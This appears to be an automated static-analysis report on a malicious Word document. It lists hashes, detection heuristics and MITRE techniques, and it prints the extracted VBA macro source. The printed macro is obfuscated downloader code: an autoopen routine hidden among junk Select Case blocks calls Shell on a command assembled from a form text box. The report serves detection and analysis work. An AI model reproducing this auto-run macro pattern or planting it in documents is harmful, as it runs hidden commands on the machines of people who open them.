Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7a376c01f14765a…

MALICIOUS

Office (OLE)

140.0 KB Created: 2018-12-20 14:35:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 28674473f2458381178401087bb43ff7 SHA-1: 714498ec28999059f2549dfc721ee670801979ba SHA-256: b7a376c01f14765a00a27fdede2c809e22f754acbebd5e914633cc81ca8b8345
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and triggers the execution of a command via the Shell() function, which is a critical finding. This indicates the document is designed to download and execute a second-stage payload. The presence of cmd.exe invocation heuristics further supports this.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6790339-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6790339-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
    M984703 = Array(j253484, j6569614, o12180, Interaction.Shell(CVar("" + d51563841 + F980172 + s57954902 + a46034877.TextBox1) + w06362 + n9248848 + l784672 + H48396569 + R296568, 10 - 10), k4287275)
       Select Case X873431262884531191844
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
    Sub autoopen()
    W423793422
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4968 bytes
SHA-256: e96237c3d1bb1f1e6dcc70357e2c0c0530c9077df66d6cc19299fc773ee8bc7d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "a46034877"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
W423793422
End Sub

Attribute VB_Name = "J32966985030825"
Function W423793422()
On Error Resume Next
   Select Case a242537823426089148377
         Case 44860052
         n137 = i531
            i191 = CInt(H4479 / CByte(J311))
            T976 = t005
         Case 137105074
         B558 = G637
         D7793 = N1683
           v3665 = CInt(p2063 / CByte(R031))
         Case 66639275
         h844 = J188
         l0979 = d227
      End Select
   Select Case A118638606177905
         Case 179503803
         b9304 = Z5848
            D7264 = CInt(h4948 / CByte(K8608))
            d831 = B918
         Case 114620074
         E558 = a551
         L9292 = N863
           o881 = CInt(A527 / CByte(z428))
         Case 306880976
         O932 = i5401
         B073 = F848
      End Select
   Select Case j16332235427968699
         Case 130562334
         u849 = U566
            G2236 = CInt(i483 / CByte(D771))
            P581 = L454
         Case 282610043
         l1986 = p3157
         T062 = t928
           A1196 = CInt(v879 / CByte(l0396))
         Case 253692388
         t517 = T4281
         j680 = D8882
      End Select
   Select Case M35557593478111490417
         Case 103642340
         O6840 = P092
            R594 = CInt(o003 / CByte(h8051))
            f2180 = j2083
         Case 184116544
         u5977 = i6667
         o197 = n0967
           l4459 = CInt(V7544 / CByte(V823))
         Case 229143858
         J165 = J9962
         T7036 = O448
      End Select
M984703 = Array(j253484, j6569614, o12180, Interaction.Shell(CVar("" + d51563841 + F980172 + s57954902 + a46034877.TextBox1) + w06362 + n9248848 + l784672 + H48396569 + R296568, 10 - 10), k4287275)
   Select Case X873431262884531191844
         Case 295671360
         r688 = K170
            H7232 = CInt(u6589 / CByte(I8293))
            E4429 = W954
         Case 258430721
         G198 = c098
         q802 = A416
           v4664 = CInt(n893 / CByte(i917))
         Case 278005586
         U479 = w866
         n155 = p259
      End Select
   Select Case n478353483316001928
         Case 36377966
         o3033 = I6476
            k248 = CInt(X9506 / CByte(J610))
            w7666 = z2850
         Case 199532359
         o578 = t9631
         s8831 = l2077
           D0792 = CInt(D353 / CByte(G265))
         Case 255393907
         E076 = h9182
         n9752 = d8208
      End Select
   Select Case p930972741990596880471
         Case 102753058
         Q879 = G3453
            j2268 = CInt(w7806 / CByte(d3679))
            k086 = i114
         Case 322415199
         t648 = L563
         U856 = m217
           W408 = CInt(M215 / CByte(m714))
         Case 311112910
         J921 = F724
         N180 = A7885
      End Select
End Function


Attribute VB_Name = "L6462540097113"

Attribute VB_Name = "p4126779041773"

Attribute VB_Name = "U97166686809"

Attribute VB_Name = "i45424423"

Attribute VB_Name = "a79574751737333"

Attribute VB_Name = "c878197733"

Attribute VB_Name = "O601198395"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "m658210606"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "M58285176947733"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D7354443"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "J25481196"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False